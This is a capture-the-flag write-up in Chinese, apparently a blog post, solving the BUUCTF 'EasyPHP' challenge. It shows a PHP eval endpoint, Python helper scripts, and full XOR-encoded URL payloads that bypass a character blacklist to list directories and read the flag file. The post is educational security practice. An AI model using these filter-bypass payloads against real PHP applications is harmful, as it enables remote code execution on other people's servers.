buuctf之[ISITDTU 2019]EasyPHP

很久没有刷题了,记录自己的刷题。

这题还是很有难度的,消耗了许多时间来进行一个了解。

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

可以看到有两个if语句,我们想要在绕过这两个if语句来进行漏洞执行。

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

第一个if利用正则匹配来过滤一些函数。

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');
0x3是十六进制,转换为十进制是3
0xd转换为十进制是13

用来检测字符串的长度

strtolower 函数将这个变量中的内容转换为小写字母。

count_chars 函数它用来统计字符串中每个字符出现的次数。第二个参数 0x3 是一个参数掩码,表示只返回出现的字符。用来忽略重复字符的出现次数。

本地测试帮助理解:

<?php
$string = "Hello, world!";
$result = strlen(count_chars($string, 0x3));
echo $result;

可以看到

Hello, world!

一共有12个字符,但是将三个字母l当作一个来计算,然后返回了数字10。

 接下来就可以进行做题了,这种情况并没有过滤^很明显是使用一个异或绕过来进行rce的。

python脚本依旧是找的其他大佬的:

aa='phpinfo'
for i in aa:
    print(  hex( int(hex(ord(i)),16) ^ 0xff),end=' ')

得到:

0x8f 0x97 0x8f 0x96 0x91 0x99 0x90
将0x改为%然后异或上我们的%ff

payload:

?_=(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();

然后查看到底禁用了哪些函数。

可以看到过滤了许多函数,但是没有过滤掉scandir(),var_dump(),readfile(),print_r()等函数。那么我们就可以利用这些函数来进行rce。

print_r(scandir('.'));
异或进行一个当前目录的打印
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF));

 发现不可以,在本地进行一个测试看看为什么没有绕过第二个if。

原来其中出现的字符数目大于了13个我们需要将其进行一个缩减。

可以看到这里面有的字符串为'().;_acdinprst

我们使用python脚本看那些可以被替换掉:

def en(s):
    return hex(ord(s) ^ 0xff)[2:]


p = list(set('printrscandir'))
for i in p:
    for j in p:
        for k in p:
            for m in p:
                if ord(j) ^ ord(k) ^ ord(m) == ord(i):
                    if(j == k or j == m or m == k):
                        continue
                    else:
                        print(i+'=='+j + '^' + k + '^'+m, end='\t')
                        print(
                            '{:0>2}  =>  ["{:0>2}","{:0>2}","{:0>2}"]'.format(
                                en(i), en(j), en(k), en(m)))
                        break

然后我们挑选几个字符将其替换掉 ,这里我们选n==c^d^i        91  =>  ["9c","9b","96"],

t==s^c^d        8b  =>  ["8c","9c","9b"],

r==p^c^a        8d  =>  ["8f","9c","9e"],三个字符:

原print_r:
(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
替换print_r:
(%8f%8d%96%9c%8c%a0%8f)^(%ff%ff%ff%9b%9c%ff%9c)^(%ff%ff%ff%96%9b%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff)

 就是一个个对应替换,应该不算比较难以理解吧。

替换scandir:
(%8c%9c%9e%9c%9b%96%9e)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff)

那么接下来构造payload即可:

?_=((%8f%9e%96%9c%9c%a0%9e)^(%ff%9c%ff%9b%9b%ff%9c)^(%ff%8f%ff%96%8c%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9c%9b%96%9e)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)));

可以看到在目录末端有flag的存在,那么我们只要读取文件即可。 readline(end(scandir(.)))来进行读取。

n==c^d^i        91  =>  ["9c","9b","96"],

t==s^c^d        8b  =>  ["8c","9c","9b"],

r==p^c^a        8d  =>  ["8f","9c","9e"],

依旧和上面一样的对照脚本进行更换。

readline(end(scandir(.)))异或payload:

?_=((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

得到flag 。

最后一步的文件读取还有

show_source(end(scandir(.)));

大家也可以自己去试试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值